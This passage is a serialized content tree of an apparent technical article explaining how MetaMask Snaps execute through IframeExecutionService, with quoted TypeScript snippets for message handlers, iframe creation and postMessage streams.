URL",{"type":23,"tag":504,"props":37731,"children":37732},{"style":5058},[37733],{"type":29,"value":603},{"type":23,"tag":504,"props":37735,"children":37736},{"style":5041},[37737],{"type":29,"value":37738},"process",{"type":23,"tag":504,"props":37740,"children":37741},{"style":5058},[37742],{"type":29,"value":357},{"type":23,"tag":504,"props":37744,"children":37745},{"style":5041},[37746],{"type":29,"value":37747},"env",{"type":23,"tag":504,"props":37749,"children":37750},{"style":5058},[37751],{"type":29,"value":357},{"type":23,"tag":504,"props":37753,"children":37754},{"style":5041},[37755],{"type":29,"value":37756},"IFRAME_EXECUTION_ENVIRONMENT_URL",{"type":23,"tag":504,"props":37758,"children":37759},{"style":5058},[37760],{"type":29,"value":8780},{"type":23,"tag":504,"props":37762,"children":37763},{"class":5016,"line":5203},[37764,37769,37774,37778,37783,37787,37792],{"type":23,"tag":504,"props":37765,"children":37766},{"style":5041},[37767],{"type":29,"value":37768},"  messenger:",{"type":23,"tag":504,"props":37770,"children":37771},{"style":5030},[37772],{"type":29,"value":37773}," this",{"type":23,"tag":504,"props":37775,"children":37776},{"style":5058},[37777],{"type":29,"value":357},{"type":23,"tag":504,"props":37779,"children":37780},{"style":5041},[37781],{"type":29,"value":37782},"controllerMessenger",{"type":23,"tag":504,"props":37784,"children":37785},{"style":5058},[37786],{"type":29,"value":357},{"type":23,"tag":504,"props":37788,"children":37789},{"style":5139},[37790],{"type":29,"value":37791},"getRestricted",{"type":23,"tag":504,"props":37793,"children":37794},{"style":5058},[37795],{"type":29,"value":17187},{"type":23,"tag":504,"props":37797,"children":37798},{"class":5016,"line":5308},[37799,37804,37809],{"type":23,"tag":504,"props":37800,"children":37801},{"style":5041},[37802],{"type":29,"value":37803},"    name:",{"type":23,"tag":504,"props":37805,"children":37806},{"style":6297},[37807],{"type":29,"value":37808}," 'ExecutionService'",{"type":23,"tag":504,"props":37810,"children":37811},{"style":5058},[37812],{"type":29,"value":5557},{"type":23,"tag":504,"props":37814,"children":37815},{"class":5016,"line":5336},[37816],{"type":23,"tag":504,"props":37817,"children":37818},{"style":5058},[37819],{"type":29,"value":37820},"  }),\n",{"type":23,"tag":504,"props":37822,"children":37823},{"class":5016,"line":5349},[37824,37829,37833,37837,37842,37846,37851,37855,37859],{"type":23,"tag":504,"props":37825,"children":37826},{"style":5041},[37827],{"type":29,"value":37828},"  setupSnapProvider:",{"type":23,"tag":504,"props":37830,"children":37831},{"style":5030},[37832],{"type":29,"value":37773},{"type":23,"tag":504,"props":37834,"children":37835},{"style":5058},[37836],{"type":29,"value":357},{"type":23,"tag":504,"props":37838,"children":37839},{"style":5041},[37840],{"type":29,"value":37841},"setupSnapProvider",{"type":23,"tag":504,"props":37843,"children":37844},{"style":5058},[37845],{"type":29,"value":357},{"type":23,"tag":504,"props":37847,"children":37848},{"style":5139},[37849],{"type":29,"value":37850},"bind",{"type":23,"tag":504,"props":37852,"children":37853},{"style":5058},[37854],{"type":29,"value":603},{"type":23,"tag":504,"props":37856,"children":37857},{"style":5030},[37858],{"type":29,"value":19742},{"type":23,"tag":504,"props":37860,"children":37861},{"style":5058},[37862],{"type":29,"value":8780},{"type":23,"tag":504,"props":37864,"children":37865},{"class":5016,"line":5367},[37866],{"type":23,"tag":504,"props":37867,"children":37868},{"style":5058},[37869],{"type":29,"value":18625},{"type":23,"tag":504,"props":37871,"children":37872},{"class":5016,"line":5388},[37873],{"type":23,"tag":504,"props":37874,"children":37875},{"emptyLinePlaceholder":15},[37876],{"type":29,"value":5734},{"type":23,"tag":504,"props":37878,"children":37879},{"class":5016,"line":5397},[37880],{"type":23,"tag":504,"props":37881,"children":37882},{"style":5021},[37883],{"type":29,"value":37884},"// Define IFRAME_EXECUTION_ENVIRONMENT_URL\n",{"type":23,"tag":504,"props":37886,"children":37887},{"class":5016,"line":5649},[37888,37892,37896,37900,37904,37908],{"type":23,"tag":504,"props":37889,"children":37890},{"style":5041},[37891],{"type":29,"value":37738},{"type":23,"tag":504,"props":37893,"children":37894},{"style":5058},[37895],{"type":29,"value":357},{"type":23,"tag":504,"props":37897,"children":37898},{"style":5041},[37899],{"type":29,"value":37747},{"type":23,"tag":504,"props":37901,"children":37902},{"style":5058},[37903],{"type":29,"value":357},{"type":23,"tag":504,"props":37905,"children":37906},{"style":5041},[37907],{"type":29,"value":37756},{"type":23,"tag":504,"props":37909,"children":37910},{"style":5047},[37911],{"type":29,"value":37912}," =\n",{"type":23,"tag":504,"props":37914,"children":37915},{"class":5016,"line":5666},[37916,37921],{"type":23,"tag":504,"props":37917,"children":37918},{"style":6297},[37919],{"type":29,"value":37920},"  'https://execution.metamask.io/0.36.1-flask.1/index.html'",{"type":23,"tag":504,"props":37922,"children":37923},{"style":5058},[37924],{"type":29,"value":5061},{"type":23,"tag":504,"props":37926,"children":37927},{"class":5016,"line":5683},[37928],{"type":23,"tag":504,"props":37929,"children":37930},{"style":5021},[37931],{"type":29,"value":37692},{"type":23,"tag":32,"props":37933,"children":37934},{},[37935,37937,37943,37945,37951,37953,37958],{"type":29,"value":37936},"This code is defining the ",{"type":23,"tag":154,"props":37938,"children":37940},{"className":37939},[],[37941],{"type":29,"value":37942},"snapExecutionServiceArgs",{"type":29,"value":37944}," object, which contains information required for the ",{"type":23,"tag":154,"props":37946,"children":37948},{"className":37947},[],[37949],{"type":29,"value":37950},"IframeExecutionService",{"type":29,"value":37952}," to execute snaps. The ",{"type":23,"tag":154,"props":37954,"children":37956},{"className":37955},[],[37957],{"type":29,"value":37756},{"type":29,"value":37959}," points to the location where the execution environment resides.",{"type":23,"tag":20944,"props":37961,"children":37963},{"id":37962},"executing-snaps-iframeexecutionservice-in-action",[37964],{"type":29,"value":37965},"Executing Snaps: IframeExecutionService in Action",{"type":23,"tag":32,"props":37967,"children":37968},{},[37969,37971,37976,37978,37984],{"type":29,"value":37970},"Inside the snaps-controller package's IframeExecutionService.ts file, the ",{"type":23,"tag":154,"props":37972,"children":37974},{"className":37973},[],[37975],{"type":29,"value":37950},{"type":29,"value":37977}," orchestrates snap execution. Again, here's a snippet of the relevant ",{"type":23,"tag":68,"props":37979,"children":37982},{"href":37980,"rel":37981},"https://github.com/MetaMask/snaps/blob/92fcf31678c13067615e6e69681e57a542a2c58a/packages/snaps-controllers/src/services/AbstractExecutionService.ts#L89",[72],[37983],{"type":29,"value":154},{"type":29,"value":6533},{"type":23,"tag":4743,"props":37986,"children":37990},{"className":37987,"code":37988,"language":37989,"meta":7,"style":7},"language-typescript shiki shiki-themes slack-dark","// Register message handlers for snap interactions\nthis.#messenger.registerActionHandler(\n  `${controllerName}:handleRpcRequest`,\n  async (snapId: string, options: SnapRpcHookArgs) =>\n    this.handleRpcRequest(snapId, options),\n);\n\n// More handlers for executeSnap, terminateSnap, etc.\n// ...\n\n// Execute a snap\nasync executeSnap(snapData: SnapExecutionData) {\n  // Initialize job, streams, and environment\n  const { jobId } = await this.initJob(snapData);\n  const { worker, stream } = await this.initEnvStream(jobId);\n  // ...\n}\n","typescript",[37991],{"type":23,"tag":154,"props":37992,"children":37993},{"__ignoreMap":7},[37994,38002,38031,38061,38114,38151,38158,38165,38173,38180,38187,38195,38230,38238,38294,38356,38364],{"type":23,"tag":504,"props":37995,"children":37996},{"class":5016,"line":5017},[37997],{"type":23,"tag":504,"props":37998,"children":37999},{"style":5021},[38000],{"type":29,"value":38001},"// Register message handlers for snap interactions\n",{"type":23,"tag":504,"props":38003,"children":38004},{"class":5016,"line":4868},[38005,38009,38013,38018,38022,38027],{"type":23,"tag":504,"props":38006,"children":38007},{"style":5030},[38008],{"type":29,"value":19742},{"type":23,"tag":504,"props":38010,"children":38011},{"style":5058},[38012],{"type":29,"value":357},{"type":23,"tag":504,"props":38014,"children":38015},{"style":5041},[38016],{"type":29,"value":38017},"#messenger",{"type":23,"tag":504,"props":38019,"children":38020},{"style":5058},[38021],{"type":29,"value":357},{"type":23,"tag":504,"props":38023,"children":38024},{"style":5139},[38025],{"type":29,"value":38026},"registerActionHandler",{"type":23,"tag":504,"props":38028,"children":38029},{"style":5058},[38030],{"type":29,"value":5512},{"type":23,"tag":504,"props":38032,"children":38033},{"class":5016,"line":4876},[38034,38039,38043,38048,38052,38057],{"type":23,"tag":504,"props":38035,"children":38036},{"style":6297},[38037],{"type":29,"value":38038},"  `",{"type":23,"tag":504,"props":38040,"children":38041},{"style":5030},[38042],{"type":29,"value":36164},{"type":23,"tag":504,"props":38044,"children":38045},{"style":5041},[38046],{"type":29,"value":38047},"controllerName",{"type":23,"tag":504,"props":38049,"children":38050},{"style":5030},[38051],{"type":29,"value":36196},{"type":23,"tag":504,"props":38053,"children":38054},{"style":6297},[38055],{"type":29,"value":38056},":handleRpcRequest`",{"type":23,"tag":504,"props":38058,"children":38059},{"style":5058},[38060],{"type":29,"value":5557},{"type":23,"tag":504,"props":38062,"children":38063},{"class":5016,"line":5099},[38064,38069,38073,38078,38082,38087,38091,38096,38100,38105,38109],{"type":23,"tag":504,"props":38065,"children":38066},{"style":5030},[38067],{"type":29,"value":38068},"  async",{"type":23,"tag":504,"props":38070,"children":38071},{"style":5058},[38072],{"type":29,"value":5110},{"type":23,"tag":504,"props":38074,"children":38075},{"style":5041},[38076],{"type":29,"value":38077},"snapId",{"type":23,"tag":504,"props":38079,"children":38080},{"style":5047},[38081],{"type":29,"value":6533},{"type":23,"tag":504,"props":38083,"children":38084},{"style":5467},[38085],{"type":29,"value":38086}," string",{"type":23,"tag":504,"props":38088,"children":38089},{"style":5058},[38090],{"type":29,"value":4367},{"type":23,"tag":504,"props":38092,"children":38093},{"style":5041},[38094],{"type":29,"value":38095},"options",{"type":23,"tag":504,"props":38097,"children":38098},{"style":5047},[38099],{"type":29,"value":6533},{"type":23,"tag":504,"props":38101,"children":38102},{"style":5467},[38103],{"type":29,"value":38104}," SnapRpcHookArgs",{"type":23,"tag":504,"props":38106,"children":38107},{"style":5058},[38108],{"type":29,"value":5128},{"type":23,"tag":504,"props":38110,"children":38111},{"style":5030},[38112],{"type":29,"value":38113},"=>\n",{"type":23,"tag":504,"props":38115,"children":38116},{"class":5016,"line":5203},[38117,38122,38126,38131,38135,38139,38143,38147],{"type":23,"tag":504,"props":38118,"children":38119},{"style":5030},[38120],{"type":29,"value":38121},"    this",{"type":23,"tag":504,"props":38123,"children":38124},{"style":5058},[38125],{"type":29,"value":357},{"type":23,"tag":504,"props":38127,"children":38128},{"style":5139},[38129],{"type":29,"value":38130},"handleRpcRequest",{"type":23,"tag":504,"props":38132,"children":38133},{"style":5058},[38134],{"type":29,"value":603},{"type":23,"tag":504,"props":38136,"children":38137},{"style":5041},[38138],{"type":29,"value":38077},{"type":23,"tag":504,"props":38140,"children":38141},{"style":5058},[38142],{"type":29,"value":4367},{"type":23,"tag":504,"props":38144,"children":38145},{"style":5041},[38146],{"type":29,"value":38095},{"type":23,"tag":504,"props":38148,"children":38149},{"style":5058},[38150],{"type":29,"value":8780},{"type":23,"tag":504,"props":38152,"children":38153},{"class":5016,"line":5308},[38154],{"type":23,"tag":504,"props":38155,"children":38156},{"style":5058},[38157],{"type":29,"value":5888},{"type":23,"tag":504,"props":38159,"children":38160},{"class":5016,"line":5336},[38161],{"type":23,"tag":504,"props":38162,"children":38163},{"emptyLinePlaceholder":15},[38164],{"type":29,"value":5734},{"type":23,"tag":504,"props":38166,"children":38167},{"class":5016,"line":5349},[38168],{"type":23,"tag":504,"props":38169,"children":38170},{"style":5021},[38171],{"type":29,"value":38172},"// More handlers for executeSnap, terminateSnap, etc.\n",{"type":23,"tag":504,"props":38174,"children":38175},{"class":5016,"line":5367},[38176],{"type":23,"tag":504,"props":38177,"children":38178},{"style":5021},[38179],{"type":29,"value":37692},{"type":23,"tag":504,"props":38181,"children":38182},{"class":5016,"line":5388},[38183],{"type":23,"tag":504,"props":38184,"children":38185},{"emptyLinePlaceholder":15},[38186],{"type":29,"value":5734},{"type":23,"tag":504,"props":38188,"children":38189},{"class":5016,"line":5397},[38190],{"type":23,"tag":504,"props":38191,"children":38192},{"style":5021},[38193],{"type":29,"value":38194},"// Execute a snap\n",{"type":23,"tag":504,"props":38196,"children":38197},{"class":5016,"line":5649},[38198,38203,38208,38212,38217,38221,38226],{"type":23,"tag":504,"props":38199,"children":38200},{"style":5041},[38201],{"type":29,"value":38202},"async",{"type":23,"tag":504,"props":38204,"children":38205},{"style":5139},[38206],{"type":29,"value":38207}," executeSnap",{"type":23,"tag":504,"props":38209,"children":38210},{"style":5058},[38211],{"type":29,"value":603},{"type":23,"tag":504,"props":38213,"children":38214},{"style":5041},[38215],{"type":29,"value":38216},"snapData",{"type":23,"tag":504,"props":38218,"children":38219},{"style":5058},[38220],{"type":29,"value":17378},{"type":23,"tag":504,"props":38222,"children":38223},{"style":5041},[38224],{"type":29,"value":38225},"SnapExecutionData",{"type":23,"tag":504,"props":38227,"children":38228},{"style":5058},[38229],{"type":29,"value":16850},{"type":23,"tag":504,"props":38231,"children":38232},{"class":5016,"line":5666},[38233],{"type":23,"tag":504,"props":38234,"children":38235},{"style":5021},[38236],{"type":29,"value":38237},"  // Initialize job, streams, and environment\n",{"type":23,"tag":504,"props":38239,"children":38240},{"class":5016,"line":5683},[38241,38246,38250,38255,38260,38264,38269,38273,38277,38282,38286,38290],{"type":23,"tag":504,"props":38242,"children":38243},{"style":5030},[38244],{"type":29,"value":38245},"  const",{"type":23,"tag":504,"props":38247,"children":38248},{"style":5058},[38249],{"type":29,"value":11633},{"type":23,"tag":504,"props":38251,"children":38252},{"style":5041},[38253],{"type":29,"value":38254},"jobId",{"type":23,"tag":504,"props":38256,"children":38257},{"style":5058},[38258],{"type":29,"value":38259}," } ",{"type":23,"tag":504,"props":38261,"children":38262},{"style":5047},[38263],{"type":29,"value":546},{"type":23,"tag":504,"props":38265,"children":38266},{"style":5067},[38267],{"type":29,"value":38268}," await",{"type":23,"tag":504,"props":38270,"children":38271},{"style":5030},[38272],{"type":29,"value":37773},{"type":23,"tag":504,"props":38274,"children":38275},{"style":5058},[38276],{"type":29,"value":357},{"type":23,"tag":504,"props":38278,"children":38279},{"style":5139},[38280],{"type":29,"value":38281},"initJob",{"type":23,"tag":504,"props":38283,"children":38284},{"style":5058},[38285],{"type":29,"value":603},{"type":23,"tag":504,"props":38287,"children":38288},{"style":5041},[38289],{"type":29,"value":38216},{"type":23,"tag":504,"props":38291,"children":38292},{"style":5058},[38293],{"type":29,"value":5888},{"type":23,"tag":504,"props":38295,"children":38296},{"class":5016,"line":5696},[38297,38301,38305,38310,38314,38319,38323,38327,38331,38335,38339,38344,38348,38352],{"type":23,"tag":504,"props":38298,"children":38299},{"style":5030},[38300],{"type":29,"value":38245},{"type":23,"tag":504,"props":38302,"children":38303},{"style":5058},[38304],{"type":29,"value":11633},{"type":23,"tag":504,"props":38306,"children":38307},{"style":5041},[38308],{"type":29,"value":38309},"worker",{"type":23,"tag":504,"props":38311,"children":38312},{"style":5058},[38313],{"type":29,"value":4367},{"type":23,"tag":504,"props":38315,"children":38316},{"style":5041},[38317],{"type":29,"value":38318},"stream",{"type":23,"tag":504,"props":38320,"children":38321},{"style":5058},[38322],{"type":29,"value":38259},{"type":23,"tag":504,"props":38324,"children":38325},{"style":5047},[38326],{"type":29,"value":546},{"type":23,"tag":504,"props":38328,"children":38329},{"style":5067},[38330],{"type":29,"value":38268},{"type":23,"tag":504,"props":38332,"children":38333},{"style":5030},[38334],{"type":29,"value":37773},{"type":23,"tag":504,"props":38336,"children":38337},{"style":5058},[38338],{"type":29,"value":357},{"type":23,"tag":504,"props":38340,"children":38341},{"style":5139},[38342],{"type":29,"value":38343},"initEnvStream",{"type":23,"tag":504,"props":38345,"children":38346},{"style":5058},[38347],{"type":29,"value":603},{"type":23,"tag":504,"props":38349,"children":38350},{"style":5041},[38351],{"type":29,"value":38254},{"type":23,"tag":504,"props":38353,"children":38354},{"style":5058},[38355],{"type":29,"value":5888},{"type":23,"tag":504,"props":38357,"children":38358},{"class":5016,"line":5705},[38359],{"type":23,"tag":504,"props":38360,"children":38361},{"style":5021},[38362],{"type":29,"value":38363},"  // ...\n",{"type":23,"tag":504,"props":38365,"children":38366},{"class":5016,"line":5728},[38367],{"type":23,"tag":504,"props":38368,"children":38369},{"style":5058},[38370],{"type":29,"value":5965},{"type":23,"tag":32,"props":38372,"children":38373},{},[38374,38375,38380,38382,38388],{"type":29,"value":18661},{"type":23,"tag":154,"props":38376,"children":38378},{"className":38377},[],[38379],{"type":29,"value":37950},{"type":29,"value":38381}," registers message handlers that facilitate communication between Metamask and snaps within the iFrame. The ",{"type":23,"tag":154,"props":38383,"children":38385},{"className":38384},[],[38386],{"type":29,"value":38387},"${controllerName}:executeSnap",{"type":29,"value":38389}," handler triggers the snap execution process.",{"type":23,"tag":20944,"props":38391,"children":38393},{"id":38392},"step-by-step-execution-from-initialization-to-iframe-creation",[38394,38396],{"type":29,"value":38395},"Step-by-Step Execution: From Initialization to iFrame ",{"type":23,"tag":68,"props":38397,"children":38400},{"href":38398,"rel":38399},"https://github.com/MetaMask/snaps/blob/92fcf31678c13067615e6e69681e57a542a2c58a/packages/snaps-controllers/src/services/iframe/IframeExecutionService.ts#L31",[72],[38401],{"type":29,"value":38402},"creation",{"type":23,"tag":4743,"props":38404,"children":38406},{"className":37987,"code":38405,"language":37989,"meta":7,"style":7},"protected async initEnvStream(jobId: string): Promise\u003C{\n    worker: Window;\n    stream: BasePostMessageStream;\n  }> {\n    const iframeWindow = await createWindow(this.iframeUrl.toString(), jobId);\n\n    const stream = new WindowPostMessageStream({\n      name: 'parent',\n      target: 'child',\n      targetWindow: iframeWindow,\n      targetOrigin: '*',\n    });\n\n    return { worker: iframeWindow, stream };\n  }\n",[38407],{"type":23,"tag":154,"props":38408,"children":38409},{"__ignoreMap":7},[38410,38459,38480,38501,38509,38573,38580,38608,38625,38642,38659,38676,38683,38690,38714],{"type":23,"tag":504,"props":38411,"children":38412},{"class":5016,"line":5017},[38413,38418,38423,38428,38432,38436,38440,38444,38449,38454],{"type":23,"tag":504,"props":38414,"children":38415},{"style":5041},[38416],{"type":29,"value":38417},"protected",{"type":23,"tag":504,"props":38419,"children":38420},{"style":5041},[38421],{"type":29,"value":38422}," async",{"type":23,"tag":504,"props":38424,"children":38425},{"style":5139},[38426],{"type":29,"value":38427}," initEnvStream",{"type":23,"tag":504,"props":38429,"children":38430},{"style":5058},[38431],{"type":29,"value":603},{"type":23,"tag":504,"props":38433,"children":38434},{"style":5041},[38435],{"type":29,"value":38254},{"type":23,"tag":504,"props":38437,"children":38438},{"style":5058},[38439],{"type":29,"value":17378},{"type":23,"tag":504,"props":38441,"children":38442},{"style":5041},[38443],{"type":29,"value":31721},{"type":23,"tag":504,"props":38445,"children":38446},{"style":5058},[38447],{"type":29,"value":38448},"): ",{"type":23,"tag":504,"props":38450,"children":38451},{"style":5467},[38452],{"type":29,"value":38453},"Promise",{"type":23,"tag":504,"props":38455,"children":38456},{"style":5058},[38457],{"type":29,"value":38458},"\u003C{\n",{"type":23,"tag":504,"props":38460,"children":38461},{"class":5016,"line":4868},[38462,38467,38471,38476],{"type":23,"tag":504,"props":38463,"children":38464},{"style":5041},[38465],{"type":29,"value":38466},"    worker",{"type":23,"tag":504,"props":38468,"children":38469},{"style":5047},[38470],{"type":29,"value":6533},{"type":23,"tag":504,"props":38472,"children":38473},{"style":5467},[38474],{"type":29,"value":38475}," Window",{"type":23,"tag":504,"props":38477,"children":38478},{"style":5058},[38479],{"type":29,"value":5061},{"type":23,"tag":504,"props":38481,"children":38482},{"class":5016,"line":4876},[38483,38488,38492,38497],{"type":23,"tag":504,"props":38484,"children":38485},{"style":5041},[38486],{"type":29,"value":38487},"    stream",{"type":23,"tag":504,"props":38489,"children":38490},{"style":5047},[38491],{"type":29,"value":6533},{"type":23,"tag":504,"props":38493,"children":38494},{"style":5467},[38495],{"type":29,"value":38496}," BasePostMessageStream",{"type":23,"tag":504,"props":38498,"children":38499},{"style":5058},[38500],{"type":29,"value":5061},{"type":23,"tag":504,"props":38502,"children":38503},{"class":5016,"line":5099},[38504],{"type":23,"tag":504,"props":38505,"children":38506},{"style":5058},[38507],{"type":29,"value":38508},"  }> {\n",{"type":23,"tag":504,"props":38510,"children":38511},{"class":5016,"line":5203},[38512,38517,38522,38526,38530,38535,38539,38543,38547,38552,38556,38561,38565,38569],{"type":23,"tag":504,"props":38513,"children":38514},{"style":5058},[38515],{"type":29,"value":38516},"    const ",{"type":23,"tag":504,"props":38518,"children":38519},{"style":5041},[38520],{"type":29,"value":38521},"iframeWindow",{"type":23,"tag":504,"props":38523,"children":38524},{"style":5047},[38525],{"type":29,"value":5050},{"type":23,"tag":504,"props":38527,"children":38528},{"style":5067},[38529],{"type":29,"value":38268},{"type":23,"tag":504,"props":38531,"children":38532},{"style":5139},[38533],{"type":29,"value":38534}," createWindow",{"type":23,"tag":504,"props":38536,"children":38537},{"style":5058},[38538],{"type":29,"value":603},{"type":23,"tag":504,"props":38540,"children":38541},{"style":5030},[38542],{"type":29,"value":19742},{"type":23,"tag":504,"props":38544,"children":38545},{"style":5058},[38546],{"type":29,"value":357},{"type":23,"tag":504,"props":38548,"children":38549},{"style":5041},[38550],{"type":29,"value":38551},"iframeUrl",{"type":23,"tag":504,"props":38553,"children":38554},{"style":5058},[38555],{"type":29,"value":357},{"type":23,"tag":504,"props":38557,"children":38558},{"style":5139},[38559],{"type":29,"value":38560},"toString",{"type":23,"tag":504,"props":38562,"children":38563},{"style":5058},[38564],{"type":29,"value":20425},{"type":23,"tag":504,"props":38566,"children":38567},{"style":5041},[38568],{"type":29,"value":38254},{"type":23,"tag":504,"props":38570,"children":38571},{"style":5058},[38572],{"type":29,"value":5888},{"type":23,"tag":504,"props":38574,"children":38575},{"class":5016,"line":5308},[38576],{"type":23,"tag":504,"props":38577,"children":38578},{"emptyLinePlaceholder":15},[38579],{"type":29,"value":5734},{"type":23,"tag":504,"props":38581,"children":38582},{"class":5016,"line":5336},[38583,38587,38591,38595,38599,38604],{"type":23,"tag":504,"props":38584,"children":38585},{"style":5058},[38586],{"type":29,"value":38516},{"type":23,"tag":504,"props":38588,"children":38589},{"style":5041},[38590],{"type":29,"value":38318},{"type":23,"tag":504,"props":38592,"children":38593},{"style":5047},[38594],{"type":29,"value":5050},{"type":23,"tag":504,"props":38596,"children":38597},{"style":5030},[38598],{"type":29,"value":33988},{"type":23,"tag":504,"props":38600,"children":38601},{"style":5139},[38602],{"type":29,"value":38603}," WindowPostMessageStream",{"type":23,"tag":504,"props":38605,"children":38606},{"style":5058},[38607],{"type":29,"value":17187},{"type":23,"tag":504,"props":38609,"children":38610},{"class":5016,"line":5349},[38611,38616,38621],{"type":23,"tag":504,"props":38612,"children":38613},{"style":5041},[38614],{"type":29,"value":38615},"      name:",{"type":23,"tag":504,"props":38617,"children":38618},{"style":6297},[38619],{"type":29,"value":38620}," 'parent'",{"type":23,"tag":504,"props":38622,"children":38623},{"style":5058},[38624],{"type":29,"value":5557},{"type":23,"tag":504,"props":38626,"children":38627},{"class":5016,"line":5367},[38628,38633,38638],{"type":23,"tag":504,"props":38629,"children":38630},{"style":5041},[38631],{"type":29,"value":38632},"      target:",{"type":23,"tag":504,"props":38634,"children":38635},{"style":6297},[38636],{"type":29,"value":38637}," 'child'",{"type":23,"tag":504,"props":38639,"children":38640},{"style":5058},[38641],{"type":29,"value":5557},{"type":23,"tag":504,"props":38643,"children":38644},{"class":5016,"line":5388},[38645,38650,38655],{"type":23,"tag":504,"props":38646,"children":38647},{"style":5041},[38648],{"type":29,"value":38649},"      targetWindow:",{"type":23,"tag":504,"props":38651,"children":38652},{"style":5041},[38653],{"type":29,"value":38654}," iframeWindow",{"type":23,"tag":504,"props":38656,"children":38657},{"style":5058},[38658],{"type":29,"value":5557},{"type":23,"tag":504,"props":38660,"children":38661},{"class":5016,"line":5397},[38662,38667,38672],{"type":23,"tag":504,"props":38663,"children":38664},{"style":5041},[38665],{"type":29,"value":38666},"      targetOrigin:",{"type":23,"tag":504,"props":38668,"children":38669},{"style":6297},[38670],{"type":29,"value":38671}," '*'",{"type":23,"tag":504,"props":38673,"children":38674},{"style":5058},[38675],{"type":29,"value":5557},{"type":23,"tag":504,"props":38677,"children":38678},{"class":5016,"line":5649},[38679],{"type":23,"tag":504,"props":38680,"children":38681},{"style":5058},[38682],{"type":29,"value":34312},{"type":23,"tag":504,"props":38684,"children":38685},{"class":5016,"line":5666},[38686],{"type":23,"tag":504,"props":38687,"children":38688},{"emptyLinePlaceholder":15},[38689],{"type":29,"value":5734},{"type":23,"tag":504,"props":38691,"children":38692},{"class":5016,"line":5683},[38693,38698,38702,38706,38710],{"type":23,"tag":504,"props":38694,"children":38695},{"style":5058},[38696],{"type":29,"value":38697},"    return { worker: ",{"type":23,"tag":504,"props":38699,"children":38700},{"style":5041},[38701],{"type":29,"value":38521},{"type":23,"tag":504,"props":38703,"children":38704},{"style":5058},[38705],{"type":29,"value":4367},{"type":23,"tag":504,"props":38707,"children":38708},{"style":5041},[38709],{"type":29,"value":38318},{"type":23,"tag":504,"props":38711,"children":38712},{"style":5058},[38713],{"type":29,"value":20349},{"type":23,"tag":504,"props":38715,"children":38716},{"class":5016,"line":5696},[38717],{"type":23,"tag":504,"props":38718,"children":38719},{"style":5058},[38720],{"type":29,"value":7917},{"type":23,"tag":32,"props":38722,"children":38723},{},[38724,38726,38732,38734,38741],{"type":29,"value":38725},"Here the iframe is created via ",{"type":23,"tag":154,"props":38727,"children":38729},{"className":38728},[],[38730],{"type":29,"value":38731},"createWindow",{"type":29,"value":38733},", which is defined in snaps-utils ",{"type":23,"tag":68,"props":38735,"children":38738},{"href":38736,"rel":38737},"https://github.com/MetaMask/snaps/blob/92fcf31678c13067615e6e69681e57a542a2c58a/packages/snaps-utils/src/iframe.ts#L17",[72],[38739],{"type":29,"value":38740},"package",{"type":29,"value":6533},{"type":23,"tag":4743,"props":38743,"children":38745},{"className":37987,"code":38744,"language":37989,"meta":7,"style":7},"const iframe = document.createElement('iframe');\n    iframe.setAttribute('id', id);\n    iframe.setAttribute('data-testid', 'snaps-iframe');\n\n    if (sandbox) {\n      iframe.setAttribute('sandbox', 'allow-scripts');\n    }\n    iframe.setAttribute('src', uri);\n    document.body.appendChild(iframe);\n",[38746],{"type":23,"tag":154,"props":38747,"children":38748},{"__ignoreMap":7},[38749,38792,38830,38867,38874,38894,38932,38939,38976],{"type":23,"tag":504,"props":38750,"children":38751},{"class":5016,"line":5017},[38752,38756,38761,38765,38770,38774,38779,38783,38788],{"type":23,"tag":504,"props":38753,"children":38754},{"style":5030},[38755],{"type":29,"value":11701},{"type":23,"tag":504,"props":38757,"children":38758},{"style":5041},[38759],{"type":29,"value":38760}," iframe",{"type":23,"tag":504,"props":38762,"children":38763},{"style":5047},[38764],{"type":29,"value":5050},{"type":23,"tag":504,"props":38766,"children":38767},{"style":5041},[38768],{"type":29,"value":38769}," document",{"type":23,"tag":504,"props":38771,"children":38772},{"style":5058},[38773],{"type":29,"value":357},{"type":23,"tag":504,"props":38775,"children":38776},{"style":5139},[38777],{"type":29,"value":38778},"createElement",{"type":23,"tag":504,"props":38780,"children":38781},{"style":5058},[38782],{"type":29,"value":603},{"type":23,"tag":504,"props":38784,"children":38785},{"style":6297},[38786],{"type":29,"value":38787},"'iframe'",{"type":23,"tag":504,"props":38789,"children":38790},{"style":5058},[38791],{"type":29,"value":5888},{"type":23,"tag":504,"props":38793,"children":38794},{"class":5016,"line":4868},[38795,38800,38804,38809,38813,38818,38822,38826],{"type":23,"tag":504,"props":38796,"children":38797},{"style":5041},[38798],{"type":29,"value":38799},"    iframe",{"type":23,"tag":504,"props":38801,"children":38802},{"style":5058},[38803],{"type":29,"value":357},{"type":23,"tag":504,"props":38805,"children":38806},{"style":5139},[38807],{"type":29,"value":38808},"setAttribute",{"type":23,"tag":504,"props":38810,"children":38811},{"style":5058},[38812],{"type":29,"value":603},{"type":23,"tag":504,"props":38814,"children":38815},{"style":6297},[38816],{"type":29,"value":38817},"'id'",{"type":23,"tag":504,"props":38819,"children":38820},{"style":5058},[38821],{"type":29,"value":4367},{"type":23,"tag":504,"props":38823,"children":38824},{"style":5041},[38825],{"type":29,"value":5535},{"type":23,"tag":504,"props":38827,"children":38828},{"style":5058},[38829],{"type":29,"value":5888},{"type":23,"tag":504,"props":38831,"children":38832},{"class":5016,"line":4876},[38833,38837,38841,38845,38849,38854,38858,38863],{"type":23,"tag":504,"props":38834,"children":38835},{"style":5041},[38836],{"type":29,"value":38799},{"type":23,"tag":504,"props":38838,"children":38839},{"style":5058},[38840],{"type":29,"value":357},{"type":23,"tag":504,"props":38842,"children":38843},{"style":5139},[38844],{"type":29,"value":38808},{"type":23,"tag":504,"props":38846,"children":38847},{"style":5058},[38848],{"type":29,"value":603},{"type":23,"tag":504,"props":38850,"children":38851},{"style":6297},[38852],{"type":29,"value":38853},"'data-testid'",{"type":23,"tag":504,"props":38855,"children":38856},{"style":5058},[38857],{"type":29,"value":4367},{"type":23,"tag":504,"props":38859,"children":38860},{"style":6297},[38861],{"type":29,"value":38862},"'snaps-iframe'",{"type":23,"tag":504,"props":38864,"children":38865},{"style":5058},[38866],{"type":29,"value":5888},{"type":23,"tag":504,"props":38868,"children":38869},{"class":5016,"line":5099},[38870],{"type":23,"tag":504,"props":38871,"children":38872},{"emptyLinePlaceholder":15},[38873],{"type":29,"value":5734},{"type":23,"tag":504,"props":38875,"children":38876},{"class":5016,"line":5203},[38877,38881,38885,38890],{"type":23,"tag":504,"props":38878,"children":38879},{"style":5067},[38880],{"type":29,"value":14325},{"type":23,"tag":504,"props":38882,"children":38883},{"style":5058},[38884],{"type":29,"value":5110},{"type":23,"tag":504,"props":38886,"children":38887},{"style":